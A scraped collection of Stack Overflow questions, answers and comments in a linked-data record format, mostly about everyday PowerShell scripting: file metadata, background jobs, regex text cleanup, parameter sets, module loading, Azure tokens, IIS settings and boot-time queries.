http://stackoverflow.com/a/79416517
answers question: http://stackoverflow.com/q/79416426
accepted answer of: http://stackoverflow.com/q/79416426
type: AcceptedAnswer
downvote count: 0
has body: You can try using Shell.Application COM object to extract the metadata, I don't know of a way to extract just Comments, but there is a way to extract all the metadata from it into an ordered dictionary. # using PowerShell msi for the example $path = 'path\to\PowerShell-7.5.0-win-x86.msi' $shell = New-Object -ComObject Shell.Application $dir = $shell.NameSpace([System.IO.Path]::GetDirectoryName($path)) $item = $dir.ParseName([System.IO.Path]::GetFileName($path)) $metadata = [ordered]@{} for ($id = $nullCounter = 0; $nullCounter -lt 10; $id++) { $key = $dir.GetDetailsOf($null, $id) $value = $dir.GetDetailsOf($item, $id) if ($key -and $value) { $metadata[$key] = $value $nullCounter = 0 continue } if ($id -lt 320) { continue } $nullCounter++ } Then from here you should have all the file metadata in $metadata, and assuming it had a Comments key, you could do: $metadata['Name'] # PowerShell-7.5.0-win-x86.msi $metadata['Comments'] # PowerShell for every system $metadata['Title'] # Installation Database $metadata['Subject'] # PowerShell package $metadata['Authors'] # Microsoft Corporation
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/q/79247480
has comment: http://stackoverflow.com/comment/139743244
type: Question
has comment: http://stackoverflow.com/comment/139743192
has comment: http://stackoverflow.com/comment/139743223
tagged with: jobs
has comment: http://stackoverflow.com/comment/139743463
answer count: 1
tagged with: powershell
has comment: http://stackoverflow.com/comment/139743160
type: UnansweredQuestion
has title: Powershell - Job injecting "System.Management.Automation.PSRemotingJob" in subsequent & call
has comment: http://stackoverflow.com/comment/139743267
has comment: http://stackoverflow.com/comment/139743312
has comment: http://stackoverflow.com/comment/139743242
has answer: http://stackoverflow.com/a/79247758
score: 0
has body: I try to have a task being run, using a Job The task waits fine but later on, as I run another process some weird string is getting injected Here I ask user confirmation and run the task function Get-BinariesPath() { $result = [System.Windows.MessageBox]::Show("Confirm","Confirm",'YesNo','Error') if ($result -eq "Yes") { $workingDirectory = $PWD.Path $job = Start-Job -ScriptBlock { param ($dir) Push-Location -Path $dir cmd /c "cd $dir && some command to execute" Pop-Location } -ArgumentList $workingDirectory $null = Wait-Job $job #$output = $job | Receive-Job $job $output = Receive-Job $job -Wait -AutoRemove #Get-Job | Remove-Job Remove-Job -Job $job $job = $null } ... $SomePathVariable = "Some/Command/Path/" return $SomePathVariable } Later on, in the calling script, this command is executed $SomePathVariable = Get-BinariesPath & "$SomePathVariable" It looks the function returns $job and $SomePathVariable instead of just $SomePathVariable System.Management.Automation.PSRemotingJob Some/Command/Path/ is not recognized as the name of a cmdlet, function, script file, or operable program. Whis the $job object returned by the function ? Ho can I get rid of this ? Why is the job interfereing with subseauent & ? Thanks for your help
has comment: http://stackoverflow.com/comment/139743150
has comment: http://stackoverflow.com/comment/139743308

http://stackoverflow.com/a/79279509
has comment: http://stackoverflow.com/comment/139801005
has body: Using Wireshark, I captured calls to powershell command New-SmbMapping -RemotePath '\\HOSTADDRESS', viewing the packets with a Wireshark filter (_ws.col.info == "Negotiate Protocol Response"). In the content of each such response, under SMB2 > Negotiate Protocol Response, it will tell me the Security mode, both for "Signing enabled" and "Signing required". Note that the similar flags on the request tell you nothing about what the server is requiring, so be sure to be looking at the response packets, per the Wireshark filter I noted above.
score: 0
accepted answer of: http://stackoverflow.com/q/79276781
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/79276781

http://stackoverflow.com/a/79291392
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79291349
has comment: http://stackoverflow.com/comment/139822187
has comment: http://stackoverflow.com/comment/139822166
type: Answer
downvote count: 0
has body: In both examples in this answer you can use regex instead of splitting, it would be more efficient that way. For the regex details you can check: https://regex101.com/r/iGfHWp/1. If you can read all file content at once, then you can do: (Get-Content myfile.txt -Raw) -replace '(?m)^.+?:' | Set-Content newfile.txt If you can't read all file content at once and need lowest memory usage possible but still keep it efficient then I'd recommend File.ReadLines + StreamWriter: try { # use absolute path always in this case, i.e.: # `newfile.txt` should be `X:\path\to\newfile.txt` $writer = [System.IO.StreamWriter] 'newfile.txt' $re = [regex]::new( '^.+?:', [System.Text.RegularExpressions.RegexOptions]::Compiled) foreach ($line in [System.IO.File]::ReadLines('myfile.txt')) { $writer.WriteLine($re.Replace($line, '')) } } finally { if ($writer) { $writer.Dispose() } }
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/79291349

http://stackoverflow.com/comment/139961679
has text: Thanks: https://github.com/johnwhitington/cpdf-source/issues/381
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79364179
type: AnswerComment

http://stackoverflow.com/comment/140002398
comment on: http://stackoverflow.com/q/79386069
type: Comment
score: 0
has text: Just for grins, have you tried $mySSHresult | format-list This is not an answer, but it may help you find an answer.
type: QuestionComment

http://stackoverflow.com/q/79285106
tagged with: powershell
score: 0
type: UnansweredQuestion
has body: Trying to call an API via powershell whilst logged into Azure interactively using powershell. I hve written the code below, but I am getting the error after running ConnectAzAccount first ParentContainsErrorRecordException: Line | 23 | $token = $profileClient.AcquireAccessToken($currentAzureContext.t … | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | Exception calling "AcquireAccessToken" with "1" argument(s): "Invalid tenant id provided. You can locate your tenant id by following the instructions listed here: https://docs.microsoft.com/partner-center/find-ids-and-domain-names" The powershell script is as follow function Get-AzCachedAccessToken (){ $ErrorActionPreference = 'Stop' if (-not (Get-Module Az.Accounts)){ Import-Module Az.Accounts } $azureRmProfile = [Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]::Instance.Profile $profileClient = New-Object Microsoft.Azure.Commands.ResourceManager.Common.RMProfileClient($azureRmProfile) Write-Debug ("Getting access token for the tenant" + $currentAzureContext.Tenant.TenantId) Write-Verbose ("Tenant: {0}" -f $currentAzureContext.Subscription.Name) $token = $profileClient.AcquireAccessToken($currentAzureContext.tenant.TenantId) $token.AccessToken } function Get-AzBearerToken() { $ErrorActionPreference = 'Stop' ('Bearer {0}' -f (Get-AzCachedAccessToken)) } #GET https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/$rg/providers/Microsoft.ApiManagement/service/apimService1/tenant/gitAccess?api-version=2024-05-01
has title: Trying to call Azure Rest API with powershell Exception calling "AcquireAccessToken" with "1" argument(s): "Invalid tenant id provided
tagged with: rest
type: Question
answer count: 0

http://stackoverflow.com/comment/139977554
type: Comment
has text: We pretty much NEVER want to see a screen shot of your terminal here.
score: 0
comment on: http://stackoverflow.com/q/79374134
type: QuestionComment

http://stackoverflow.com/a/79327722
score: 1
answers question: http://stackoverflow.com/q/79312049
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79312049
has body: I ended up resolving my performance issue by doing 3 things: Importing Az modules before Microsoft.Graph modules to prevent assemblies conflicts Loading and unloading modules just-in-time, i.e. Import-Module just before the first cmdlet that requires that module, then Remove-Module just after the last command that needs the same module. Optimizing memory usage by filtering out data stored in hash tables, whenever possible. I still have no idea why simply importing the Az modules without any other change to my code resulted in such a high performance impact, especially since, although my script used 7GB of RAM, the server still had plenty of free RAM (32GB in total). Doing all that, I was able to actually decrease the average time per device to 130ms.
type: Answer
upvote count: 1

http://stackoverflow.com/comment/139869768
comment on: http://stackoverflow.com/q/79318047
type: QuestionComment
type: Comment
has text: @MathiasR.Jessen HA! That is most likely my coworker. We install software and I've attempted to automate most of my installs via PowerShell. I have shared my scripts with him. We had a new version and this particular part was altered by our developers in the latest release, so the script broke. I was on vacation last week and he is on vacation this week, so we haven't actually talked to each other about this and I had no idea he was trying to crack the code already.
score: 0

http://stackoverflow.com/q/79299022
score: 2
upvote count: 2
has body: I have a PowerShell script that I converted to an EXE with Win-PS2EXE.The problem is that I'm using Foreach -parallel and it doesn't work with PowerShell 5.0, I need this EXE to run with the latest shell and i already tried using #Requires -Version 7.0 and it stills running with the old one. Tried with: #Requires -Version 7.0 #Requires -PSEdition Desktop
tagged with: powershell
linked to: http://stackoverflow.com/q/4037939
answer count: 1
tagged with: parallel.foreach
type: UnansweredQuestion
favorite count: 0
has answer: http://stackoverflow.com/a/79299725
tagged with: powershell-core
type: Question
downvote count: 0
has title: How to force a EXE Powershell Script compiled with Win-PS2EXE to run with Powershell 7
tagged with: foreach

http://stackoverflow.com/q/79387608
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/140001040
favorite count: 0
has body: I'd like to be able to use multiple parameter sets at the same time. Here's what I have so far: # Parameter set for building binaries [Parameter(ParameterSetName = 'Build', Mandatory = $true)] [bool]$BuildBinaries, [Parameter(ParameterSetName = 'Build', Mandatory = $true)] [string]$BuildScriptPath = "~/folder/buildscript", # Parameter set for setting permissions on the binaries [Parameter(ParameterSetName = 'Permission', Mandatory = $true)] [bool]$SetPermissions, [Parameter(ParameterSetName = 'Permission', Mandatory = $true)] [string]$OwnerName If I use the -BuildBinaries parameter and set it to $True, the -BuildScriptPath parameter should also be required. I'd like to be able to use these 2 parameters without the other two. If I use the -SetPermissions parameter and set it to $true, the -OwnerName parameter should be required. I'd like to be able to use these 2 parameters without the other two. I'd like to be able to use both -BuildBinaries and set it to $true (which means -BuildScriptPath should be required) and -SetPermissions and set it to $true (which means -OwnerName should be required) at the same time. I think the above works for #1 and #2 but not 3. When I try that, I get "Parameter set cannot be resolved using the specified named parameters. One or more parameters issued cannot be used together or an insufficient number of parameters were provided."
has answer: http://stackoverflow.com/a/79387671
type: Question
accepted answer: http://stackoverflow.com/a/79387671
answer count: 1
has comment: http://stackoverflow.com/comment/140001323
has title: Using multiple PowerShell parameter sets simultaneously
score: 2
upvote count: 2

http://stackoverflow.com/comment/139822256
comment on: http://stackoverflow.com/a/79291451
type: Comment
has text: @IanKemp Not sure actually - lots of remarks in the documentation attached to public types in the System.Xml namespace make vague references to it like "Microsoft supports W3C DOM Level 1 Core compatibility" and "... support for XQuery 1.0 and the XPath 2.0 Data Model", without every calling out the fact that XPath 2.0 isn't fully implemented
type: AnswerComment
score: 2

http://stackoverflow.com/q/79419318
score: 2
has title: Get Notes field from Get-ADGroup
favorite count: 0
type: Question
tagged with: active-directory
has answer: http://stackoverflow.com/a/79419341
accepted answer: http://stackoverflow.com/a/79419341
has body: I am trying to get the notes field of an AD group. However I have tried Notes, Info, and Description but they all come up blank. $OU = "OU=RRI,OU=Share Access,OU=Groups,OU=SSW,OU=Resources,DC=PSU,DC=DS,DC=PDX,DC=EDU" # Get all groups in the OU $groups = Get-ADGroup -Filter * -SearchBase $OU | sort Name # Loop through each group and get its members foreach ($group in $groups) { $members = Get-ADGroupMember -Identity $group | Select-Object Name, SamAccountName # Output the group name and its members Write-Output "Group: $($group.Name)" Write-Output "Info: $($group.Info)" Write-Output "Notes: $($group.Notes)" Write-Output "Description: $($group.Description)" $members | Format-Table -AutoSize }
answer count: 1
type: AnsweredQuestion
upvote count: 2
downvote count: 0
tagged with: powershell

http://stackoverflow.com/comment/139911984
type: Comment
has text: I think something called saxon-he .net has some way to call xpath 2.0.
score: 0
comment on: http://stackoverflow.com/q/79291391
type: QuestionComment

http://stackoverflow.com/q/79307726
has comment: http://stackoverflow.com/comment/139851638
type: Question
answer count: 3
downvote count: 1
has answer: http://stackoverflow.com/a/79307730
has answer: http://stackoverflow.com/a/79308669
tagged with: powershell
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/79307730
possible better answer: http://stackoverflow.com/a/79308669
linked to: http://stackoverflow.com/q/66553344
tagged with: utf-8
upvote count: 1
favorite count: 0
linked to: http://stackoverflow.com/q/5596982
has body: I need to remove BOM using cmd file from MyFile.txt. The file is located here. | Out-File -encoding utf8 '%CD%\MyFile.txt' I need it to be removed using only one cmd, that is, in the next lines. I need it to be backwards compatible to Windows 7. If I needed it for myself only I would just use -encoding default, but its not backwards compatible even to win 10. Just one file. There were many different questions about BOM on different situations, my issue is I need to use one .cmd, I already have utf8 with BOM and I need it without BOM. Please help me. I was trying to use powershell but the issue is powershell syntax is not really compatible to cmd? It just says about unrecognised syntax everytime I tried anything from the very popular theme like this Using PowerShell to write a file in UTF-8 without the BOM.
tagged with: batch-file
has title: Remove BOM from UTF 8 using cmd
has answer: http://stackoverflow.com/a/79314381
tagged with: byte-order-mark
tagged with: encoding

http://stackoverflow.com/a/79401260
answers question: http://stackoverflow.com/q/79400251
has comment: http://stackoverflow.com/comment/140033024
accepted answer of: http://stackoverflow.com/q/79400251
has comment: http://stackoverflow.com/comment/140047568
score: 0
has body: Unless someone has a better answer. I will just add the following to my scripts that need automatic names. Its a bummer that I can't get it to work as an imported function. $filename = $home + [IO.Path]::DirectorySeparatorChar + (Get-Date).ToString("yyyy-MM-dd_") + [System.IO.Path]::GetFileName($MyInvocation.MyCommand.Path) -replace '\.[^.]+$','.csv'
has comment: http://stackoverflow.com/comment/140035180
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/a/79392267
has comment: http://stackoverflow.com/comment/140026231
has comment: http://stackoverflow.com/comment/140013078
has comment: http://stackoverflow.com/comment/140026109
has comment: http://stackoverflow.com/comment/140025156
has body: Preface: The fact that, in later comments, you're referencing a close button (x), i.e. a GUI element, implies that you're running your code in the Windows PowerShell ISE, where $host.ui.PromptForChoice() (perhaps surprisingly) presents a GUI dialog rather than a console-based prompt - the latter is what you get in a regular console window / a WT (Windows Terminal) tab (which I'll collectively refer to as a console from now on), and there is no UI element in the console-based prompt that would allow you to cancel it; the only way to cancel is to abort the script as a whole, by pressing Ctrl+C. Counterintuitively, clicking the close button in the ISE acts like pressing Ctrl+C in the console, so the problem you need to solve is how to intercept Ctrl+C, as addressed below. Arguably, the dialog shouldn't even have a close button (or at least it should be disabled). That said, the ISE is best avoided: It is best avoided for running (as opposed to developing) scripts, because its behavior differs from that of consoles in several important ways (see the link in the next bullet point). More importantly, the ISE is no longer actively developed and there are reasons not to use it (bottom section), notably not being able to run PowerShell (Core) 7. The actively developed, cross-platform editor that offers the best PowerShell development experience is Visual Studio Code with its PowerShell extension. If you avoid the ISE, you may not need to solve your problem at all, given that the console-based prompt lacks a UI element for canceling that users may be tempted to use (and, should they use Ctrl+C they likely expect the script to be aborted as a whole. The short of it is: You can not intercept and react to the user pressing Ctrl+C while a $host.UI.PromptForChoice() is shown from a script; however, you can perform cleanup actions, including emitting a message before the invariable termination of the script. Additionally, the bottom section tries to provide a systematic overview of…
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/140019450
has comment: http://stackoverflow.com/comment/140026278
upvote count: 1
has comment: http://stackoverflow.com/comment/140021221
has comment: http://stackoverflow.com/comment/140016309
score: 1
answers question: http://stackoverflow.com/q/79392142

http://stackoverflow.com/a/79251787
score: 0
has comment: http://stackoverflow.com/comment/139750888
has body: Escaping the spaces and parentheses: set-alias mc C:\Program` Files` `(x86`)\Midnight` Commander\mc.exe Or add to the path: $env:path += ';C:\Program Files (x86)\Midnight Commander'
answers question: http://stackoverflow.com/q/79250687
type: Answer

http://stackoverflow.com/comment/139997144
has text: @sln In Powershell it seems to be different. Single quotes literal. Double quotes interpret things in the string. If I could get the regex to work up to `Install Execution` I would believe that this was the issue, and try, but can't be.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79385377
score: 0

http://stackoverflow.com/a/79278369
accepted answer of: http://stackoverflow.com/q/79278245
downvote count: 0
has comment: http://stackoverflow.com/comment/139798513
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139798737
type: Answer
has comment: http://stackoverflow.com/comment/139798666
has comment: http://stackoverflow.com/comment/139798536
has body: Which version of IIS / Windows are you running? Strangely running your first query on IIS 10, Server 2022 doesn't give me any output. However, tweaking the query slight Import-Module WebAdministration (Get-ItemProperty -Path IIS:\\AppPools\DefaultAppPool -Name recycling.periodicRestart | Select-Object -ExpandProperty time).toString() Gives me that value in a usable way. Note, it also works if you run : Get-ItemProperty -Path IIS:\\AppPools\DefaultAppPool -Name recycling.periodicRestart | Select-Object time where it outputs the heading, but if you add -ExpandProperty then you need to .toString() the entire thing, otherwise it outputs all the individual timespan elements, eg Days, Hours, Minutes etc, TotalDays, TotalHours etc. -- EDIT -- OK, so the above code retrieves the "Regular Time intervals in Minutes" value, but to retrieve the "Specific Times" value you need. (Get-ItemProperty -Path IIS:\AppPools\DefaultAppPool -Name recycling.periodicRestart.schedule.collection).Value.ToString() as with the above code you need to include .ToString() to just retrieve the time value not the individual time elements.
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79278245
has comment: http://stackoverflow.com/comment/139798327

configurationmanager
tags question: http://stackoverflow.com/q/79292103
tag name: configurationmanager
type: Tag

http://stackoverflow.com/comment/140054923
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79415137
type: QuestionComment
has text: Please [format your post properly](https://stackoverflow.com/help/formatting).

http://stackoverflow.com/q/79351553
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79353165
has comment: http://stackoverflow.com/comment/139935965
has title: PS1 Restart service as specified user
accepted answer: http://stackoverflow.com/a/79353165
has comment: http://stackoverflow.com/comment/139934117
upvote count: 1
favorite count: 0
linked to: http://stackoverflow.com/q/43267766
score: 1
type: Question
tagged with: service
tagged with: elevated-privileges
answer count: 1
has body: I'm trying to create a PS1 script to restart a service in a computer, where the user has no admin right, so i'm trying to execute as de admin user, now i'm trying first to open Notepad, but when I execute this script: # Define el nombre del servicio, usuario y contraseña $ServiceName = "ApacheDtdlIdServer" $AdminUser = "User" $AdminPassword = "C0ntraseña" $startWithElevatedRights = "notepad" # Convierte la contraseña en un SecureString $SecurePassword = ConvertTo-SecureString $AdminPassword -AsPlainText -Force # Crea el objeto de credenciales $credentials = New-Object System.Management.Automation.PSCredential ($AdminUser, $SecurePassword) $ps = Start-Process -PassThru -FilePath powershell -Credential $credentials -ArgumentList '-noprofile -command &{Start-Process ', $startWithElevatedRights, ' -Wait -verb runas}' $ps.WaitForExit() I get the error: Start-Process: This command cannot be executed due to the error: The directory name is > invalid. At C:\Users\IsaacSanzIT\Desktop\Rider\RestartScanner.ps1: 13 Character: 7 I've tried the things that says in other questions in StackOverflow, like this one using the Runas, anyone know how to execute the notepad, or even restart a a service using the admin account? Thanks!
tagged with: start-process
downvote count: 0
tagged with: powershell

http://stackoverflow.com/comment/139748794
has text: @rubénruiz could you put the first 10 lines of both files? and an example of result you want? Maybe can help us :)
comment on: http://stackoverflow.com/q/79246610
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139849442
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79306447
has text: You should not use `Get-WmiObject` anymore. Instead use `Get-CimInstance -ClassName CIM_OperatingSystem -ComputerName myserver | Select-Object -Property LastBootUpTime`! This way you don't even have to convert the value anymore. Did you really run the command again or did you maybe save the output in a variable or something like this? ... how did you shutdown the server? ... did you shut it down or did you suspend it?

http://stackoverflow.com/q/79343084
has title: Git-Extensions GUI produces different output as Git console
tagged with: git-extensions
tagged with: powershell
type: UnansweredQuestion
has body: I've written a custom diff command for reading a proprietary file type *.hdict, which would otherwise be treated as a binary file to be used in Git Extensions 5.1.1.17970. .gitconfig: [diff "hdict"] command = powershell -ExecutionPolicy Bypass -File C:/Repos/fillhalcon/DictionaryDiff/hdict-diff.ps1 $LOCAL $REMOTE .gitattributes: *.hdict diff=hdict PowerShell script: Param($LocalFile, $RemoteFile) # Ensure paths are absolute $LocalFile = Join-Path -Path (Get-Location) -ChildPath $LocalFile # Generate temporary files for output $CleanLocal = [System.IO.Path]::GetTempFileName() $CleanRemote = [System.IO.Path]::GetTempFileName() # Path to ConsoleApp2.exe using relative path $ExePath = Join-Path -Path $PSScriptRoot -ChildPath "DictConversion\DictConversion\bin\Debug\net8.0\DictConversion.exe" # Run ConsoleApp2.exe ONCE for both files & $ExePath $LocalFile $RemoteFile $CleanLocal $CleanRemote # Remove null bytes (^@) from the files (Get-Content -Raw $CleanLocal) -replace "`0", "" | Set-Content $CleanLocal (Get-Content -Raw $CleanRemote) -replace "`0", "" | Set-Content $CleanRemote # Perform the diff using git diff and save output & git diff --no-index $CleanRemote $CleanLocal # Clean up temporary files Remove-Item $CleanLocal Remove-Item $CleanRemote Console output from the Git-Extensions works fine: But any visual interaction is still seeing it as a binary: Any idea, why GUI is not triggering the same command "git diff"?
score: 0
tagged with: git
has comment: http://stackoverflow.com/comment/139916619
type: Question
answer count: 0

http://stackoverflow.com/q/79391387
type: UnansweredQuestion
score: 1
upvote count: 1
has body: I need to export all messages from exchange mailbox but the tricky thing is to exclude from it some email domains (around 30). So the output of the operation is export of almost all messages excluding some emails sent to/received from some specific domains. Mailbox is quite big ~50 gig so manually its not possible. Any thoughts/tips how to do so, any tip for powershell script or tip how to click it via outlook GUI? Thank you! I tried creating folder in outlook with rules and moving all emails from "excluded" domains there, but it faild to load. I tried exporting .csv files but the format is mess and its impossible to sort via sender there tried writing powershell script but received multiple errors
favorite count: 0
has comment: http://stackoverflow.com/comment/140011168
has comment: http://stackoverflow.com/comment/140008140
has comment: http://stackoverflow.com/comment/140023736
tagged with: windows
type: Question
tagged with: exchange-server
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/140033948
tagged with: powershell
tagged with: outlook
has title: Outlook/Exchange email messages export with exclusion of specific emails addresses/domains
has answer: http://stackoverflow.com/a/79391642

http://stackoverflow.com/q/79285255
tagged with: .net
has comment: http://stackoverflow.com/comment/139811820
downvote count: 0
tagged with: event-viewer
tagged with: powershell
linked to: http://stackoverflow.com/q/79239902
type: UnansweredQuestion
score: 1
has body: Background As described in this question, I am trying to use System.Diagnostics.EventLog#WriteEvent() as an alternative for New-WinEvent and Write-EventLog cmdlet. Problem I tried to write the following log with WriteEvent(): LogName: Application Source: Application Error Event ID: 1005 $eventLog = [System.Diagnostics.EventLog]::new('Application') $eventLog.Source = 'Application Error' $eventLog.WriteEvent( [System.Diagnostics.EventInstance]::new(1005, 0, [System.Diagnostics.EventLogEntryType]::Error), @( 'FilePath.exe', # FilePath 'Application Name', # AppName 0x1234, # StatusCode 1 # MediumType ) ) But in Event Viewer, I got the following message: The description for Event ID 1005 from source Application Error cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer. If the event originated on another computer, the display information had to be saved with the event. The following information was included with the event: FilePath.exe Application Name 4660 1 The message resource is present but the message was not found in the message table On the other hand, when I used the New-WinEvent cmdlet, I got the following message (this is what I expected). New-WinEvent -ProviderName "Application Error" -Id 1005 -Payload @( 'FilePath.exe', # FilePath 'Application Name', # AppName 0x1234, # StatusCode 1 # MediumType ) Windows cannot access the file FilePath.exe for one of the following reasons: there is a problem with the network connection, the disk that the file is stored on, or the storage drivers installed on this computer; or the disk is missing. Windows closed the program Application Name because of this error. Program: Application Name File: FilePath.exe The error value is listed in the Additional Data section. User Action 1. Open the file again. This situation might be a temporary problem that corrects itself when the program runs…
has comment: http://stackoverflow.com/comment/139811230
has title: System.Diagnostics.EventLog#WriteEvent() can't find a specific event ID
upvote count: 1
favorite count: 0
linked to: http://stackoverflow.com/q/79265704
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139816572

http://stackoverflow.com/comment/139917561
has text: Where are you referencing the variable group containing the `VariablesObject1` variable? Is that variable suppose to contain a json string like in the first code block?
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79343590

http://stackoverflow.com/comment/139745072
comment on: http://stackoverflow.com/a/79248602
type: AnswerComment
has text: @Mitcheaux glad it helped
type: Comment
score: 0

http://stackoverflow.com/q/79306447
has comment: http://stackoverflow.com/comment/139849442
has comment: http://stackoverflow.com/comment/139851400
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79306495
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139850386
has answer: http://stackoverflow.com/a/79306495
has comment: http://stackoverflow.com/comment/139851147
downvote count: 0
has body: How do I get the most recent windows boot time in a powershell script? Currently I'm using this line Get-WmiObject win32_operatingsystem -ComputerName myserver | Select-Object @{LABEL='LastBootUpTime';EXPRESSION={$_.ConverttoDateTime($_.lastbootuptime)}} It works (in the sense that it returns a valid date) but the date doesn't appear to be sensible. Background - I've just shut down the server for 5 minutes in expectation of a brief power outage, after re-booting the above expression returns 11/12/2024 03:31:04 (or about 2 weeks ago). This date may (or may not) be a boot time, but it's definitely not the last reboot I did a few hours ok. So, either this is returning something other than the boot time, OR a brief power-down doesn't count as a re-boot (somehow). Any ideas? UPDATE... Ok, I've tried the following (Get-CimInstance -ClassName Win32_OperatingSystem).LastBootUpTime and Get-CimInstance -ClassName win32_operatingsystem | select csname, lastbootuptime They all give me the same two-week-old boot date. I think the true question is really why wasn't the re-boot recorded in the event logs.
has title: How to detect the time of last boot in a powershell script?
has comment: http://stackoverflow.com/comment/139851744
has answer: http://stackoverflow.com/a/79306497
score: 1
upvote count: 1
favorite count: 0
possible better answer: http://stackoverflow.com/a/79306497
answer count: 2
tagged with: windows
type: Question

http://stackoverflow.com/comment/139924853
score: 0
has text: [Responding to mklement0] Then credentials are requested via a popup, and once entered you receive the same error about a login session not existing.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79347202

http://stackoverflow.com/comment/139965675
comment on: http://stackoverflow.com/a/79366437
has text: i tried adding this to the psm1 file and calling it on the main script file but it still doesn't work, I managed to get it working directly in the [ps1 file](https://pastebin.com/raw/yvgM5fy1) so i'm just going to leave it like that for now.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/140163768
has text: I'm happy to hear that, @Joshua; my pleasure.
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79419921
type: Comment

http://stackoverflow.com/q/79284301
type: UnansweredQuestion
score: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79284494
tagged with: module
type: Question
has title: How to Make my Module loaded automatically when PowerShell session starts
downvote count: 0
answer count: 1
tagged with: powershell
upvote count: 1
has body: I created my module and now my goal is to load it automatically when PowerShell session starts, extra I like to have it for every user. Based on some tutorials and this Microsoft Docu I copied all dir with my module to path: C:\ProgramFiles\WindowsPowerShell\Modules\ Unfortunately my module is not not loaded successfully - I mean called function stored in this module is not recognized (Tested on Windows 11 24H2, PowerShell 5.1). What for me is more unclear - If I simply list all available Commands in my module, then they all will be shown, and next called function again will be executed fine: Also command "Get-Module" will display this time my module. This is how my module looks like in Program Files dir: Did I did something wrong, or not understand it? The same result I got when I stored my TestModul in Local Profile dir ("$HOME\Documents\WindowsPowerShell\Modules") Until I query for all commands from my module, any of function there will be not recognized in current session of PowerShell.
tagged with: function

http://stackoverflow.com/a/79394307
answers question: http://stackoverflow.com/q/79394268
type: Answer
upvote count: 2
has comment: http://stackoverflow.com/comment/140014094
score: 2
has comment: http://stackoverflow.com/comment/140014058
accepted answer of: http://stackoverflow.com/q/79394268
has body: Whatever code you pass-in to PowerShell -Command is already invoked without the need for the call operator &, if you remove it from $Arguments then your code works. if (!([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { $Arguments = "-ExecutionPolicy ByPass " + '"' + $myInvocation.MyCommand.Definition + '"' Start-Process Powershell -Verb RunAs -ArgumentList $Arguments return } Get-ExecutionPolicy Pause You can also make an array out of $Arguments and it would be valid too: $Arguments = "`"$($myInvocation.MyCommand.Definition)`"", '-ExecutionPolicy', 'ByPass' And lastly, if .MyCommand.Definition resolves to a file path, then you should consider using PowerShell -File instead: $Arguments = "-ExecutionPolicy ByPass -File `"$($myInvocation.MyCommand.Definition)`""
has comment: http://stackoverflow.com/comment/140014035
has comment: http://stackoverflow.com/comment/140013830
has comment: http://stackoverflow.com/comment/140013851
has comment: http://stackoverflow.com/comment/140013937
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/140013948
has comment: http://stackoverflow.com/comment/140014124
downvote count: 0

http://stackoverflow.com/comment/139802249
type: Comment
comment on: http://stackoverflow.com/q/79279965
score: 0
has text: Check the below answer.
type: QuestionComment

http://stackoverflow.com/a/79405121
accepted answer of: http://stackoverflow.com/q/79404983
has body: For this you might consider to create a module manifest that includes all your "funFrom" modules: .\myFavMods\a.psm1 function funFromModuleA { 'Fun from module A.'} Export-ModuleMember -Function funFromModuleA .\myFavMods\a.psm1 function funFromModuleB { 'Fun from module B.'} Export-ModuleMember -Function funFromModuleB New manifest The following command creates a new module manifest at .\myFavMods\myFavMods.psd1 that exposes the conserned nested modules: New-ModuleManifest .\myFavMods\myFavMods.psd1 -NestedModules '.\a.psm1', '.\b.psm1' .\myFavMods\myFavMods.ps1 In case you want to invoke the "funFrom" module from a PowerShell Script (.ps1 file): Import-Module $PSScriptRoot\..\myFavMods -Global Test .\myFavMods\myFavMods.ps1 funFromModuleA Fun from module A.
type: AcceptedAnswer
upvote count: 2
downvote count: 0
type: Answer
score: 2
answers question: http://stackoverflow.com/q/79404983

http://stackoverflow.com/comment/140000412
type: Comment
comment on: http://stackoverflow.com/a/79387067
score: 0
type: AnswerComment
has text: Hmm, curiouser and curiouser. This is a fresh install of Windows 11 with no profile, and the main code where I want to use this actually uses the no profile argument when launching the console. And PS is showing the US format in every situation other than the ISE. Super frustrating. Given that I am wrapping up selling the whole business and putting Microsoft & Autodesk in my rear view mirror, I think maybe I just don't have time to keep investing in these kinds of refinements.

http://stackoverflow.com/comment/139901623
has text: Did you try anything else?
type: QuestionComment
comment on: http://stackoverflow.com/q/79335299
type: Comment
score: 0

http://stackoverflow.com/a/79291210
downvote count: 0
type: Answer
score: 2
answers question: http://stackoverflow.com/q/79290398
accepted answer of: http://stackoverflow.com/q/79290398
type: AcceptedAnswer
